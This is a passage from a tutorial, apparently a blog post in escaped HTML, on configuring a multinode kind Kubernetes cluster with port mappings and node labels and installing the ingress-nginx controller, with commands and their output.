#96D0FF\"\u003ekind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you'll notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eextraPortMappings\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWith this we've now generated a 4 node cluster where we have a single\ncontrol-plane and three workers.  Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it'll tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind_config.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis time I've added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you didn't destroy the first cluster you'll\nsee we have two of them now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eclusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurrent-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e107\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e88\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewait\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--for=condition=ready\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCompleted\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eContainerCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTYPE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCLUSTER-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNodePort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.228.248\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eClusterIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.96\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.180.126\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/TCP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUP-TO-DATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   